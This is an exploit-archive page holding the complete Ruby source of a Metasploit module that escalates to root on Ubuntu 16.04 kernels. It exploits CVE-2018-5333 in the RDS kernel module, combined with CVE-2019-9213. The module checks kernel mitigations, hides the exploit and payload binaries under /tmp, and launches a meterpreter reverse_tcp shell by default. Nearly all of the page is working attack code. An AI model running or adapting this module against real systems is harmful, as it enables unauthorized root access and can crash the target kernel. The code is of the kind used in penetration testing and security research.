Reliable Datagram Sockets (RDS) rds_atomic_free_op Privilege Escalation

2020.01.23
Credit: Brendan Coles
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-264

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = GoodRanking include Msf::Post::File include Msf::Post::Linux::Priv include Msf::Post::Linux::Compile include Msf::Post::Linux::System include Msf::Post::Linux::Kernel include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Reliable Datagram Sockets (RDS) rds_atomic_free_op NULL pointer dereference Privilege Escalation', 'Description' => %q{ This module attempts to gain root privileges on Linux systems by abusing a NULL pointer dereference in the `rds_atomic_free_op` function in the Reliable Datagram Sockets (RDS) kernel module (rds.ko). Successful exploitation requires the RDS kernel module to be loaded. If the RDS module is not blacklisted (default); then it will be loaded automatically. This exploit supports 64-bit Ubuntu Linux systems, including distributions based on Ubuntu, such as Linux Mint and Zorin OS. Target offsets are available for: Ubuntu 16.04 kernels 4.4.0 <= 4.4.0-116-generic; and Ubuntu 16.04 kernels 4.8.0 <= 4.8.0-54-generic. This exploit does not bypass SMAP. Bypasses for SMEP and KASLR are included. Failed exploitation may crash the kernel. This module has been tested successfully on various 4.4 and 4.8 kernels. }, 'License' => MSF_LICENSE, 'Author' => [ 'Mohamed Ghannam', # Discovery of RDS rds_atomic_free_op null pointer dereference and DoS PoC (2018-5333) 'Jann Horn', # Discovery of MAP_GROWSDOWN mmap_min_addr bypass technique and PoC code (CVE-2019-9213) 'wbowling', # C exploit combining 2018-5333 and CVE-2019-9213 targeting Ubuntu 16.04 kernel 4.4.0-116-generic 'bcoles', # Metasploit module and updated C exploit 'nstarke' # Additional kernel offsets ], 'DisclosureDate' => '2018-11-01', 'Platform' => [ 'linux' ], 'Arch' => [ ARCH_X64 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [[ 'Auto', {} ]], 'Privileged' => true, 'References' => [ [ 'CVE', '2018-5333' ], [ 'CVE', '2019-9213' ], [ 'BID', '102510' ], [ 'URL', 'https://gist.github.com/wbowling/9d32492bd96d9e7c3bf52e23a0ac30a4' ], [ 'URL', 'https://github.com/0x36/CVE-pocs/blob/master/CVE-2018-5333-rds-nullderef.c' ], [ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1792&desc=2' ], [ 'URL', 'https://people.canonical.com/~ubuntu-security/cve/2018/CVE-2018-5333.html' ], [ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=7d11f77f84b27cef452cee332f4e469503084737' ], [ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=15133f6e67d8d646d0744336b4daa3135452cb0d' ], [ 'URL', 'https://github.com/bcoles/kernel-exploits/blob/master/CVE-2018-5333/cve-2018-5333.c' ] ], 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }, 'Notes' => { 'Reliability' => [ REPEATABLE_SESSION ], 'Stability' => [ CRASH_OS_DOWN ], }, 'DefaultTarget' => 0)) register_advanced_options [ OptBool.new('ForceExploit', [ false, 'Override check result', false ]), OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) ] end def base_dir datastore['WritableDir'].to_s end def check arch = kernel_hardware unless arch.include? 'x86_64' return CheckCode::Safe("System architecture #{arch} is not supported") end vprint_good "System architecture #{arch} is supported" offsets = strip_comments(exploit_data('CVE-2018-5333', 'cve-2018-5333.c')).scan(/kernels\[\] = \{(.+?)\};/m).flatten.first kernels = offsets.scan(/"(.+?)"/).flatten version = "#{kernel_release} #{kernel_version.split(' ').first}" unless kernels.include? version return CheckCode::Safe("Linux kernel #{version} is not vulnerable") end vprint_good "Linux kernel #{version} is vulnerable" if smap_enabled? return CheckCode::Safe('SMAP is enabled') end vprint_good 'SMAP is not enabled' if lkrg_installed? return CheckCode::Safe('LKRG is installed') end vprint_good 'LKRG is not installed' if grsec_installed? return CheckCode::Safe('grsecurity is in use') end vprint_good 'grsecurity is not in use' unless kernel_modules.include? 'rds' vprint_warning 'rds.ko kernel module is not loaded, but may be autoloaded during exploitation' return CheckCode::Detected('rds.ko kernel module is not loaded, but may be autoloaded during exploitation') end vprint_good 'rds.ko kernel module is loaded' CheckCode::Appears end def exploit unless [CheckCode::Detected, CheckCode::Appears].include? check unless datastore['ForceExploit'] fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.' end print_warning 'Target does not appear to be vulnerable' end if is_root? unless datastore['ForceExploit'] fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.' end end unless writable? base_dir fail_with Failure::BadConfig, "#{base_dir} is not writable" end exploit_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}" if live_compile? vprint_status 'Live compiling exploit on system...' upload_and_compile exploit_path, exploit_data('CVE-2018-5333', 'cve-2018-5333.c') else vprint_status 'Dropping pre-compiled exploit on system...' upload_and_chmodx exploit_path, exploit_data('CVE-2018-5333', 'cve-2018-5333.out') end register_file_for_cleanup exploit_path payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}" upload_and_chmodx payload_path, generate_payload_exe register_file_for_cleanup payload_path # mincore KASLR bypass is usually fast, but can sometimes take up to 30 seconds to complete timeout = 30 print_status "Launching exploit (timeout: #{timeout})..." output = cmd_exec("echo '#{payload_path} & exit' | #{exploit_path}", nil, timeout) output.each_line { |line| vprint_status line.chomp } end end


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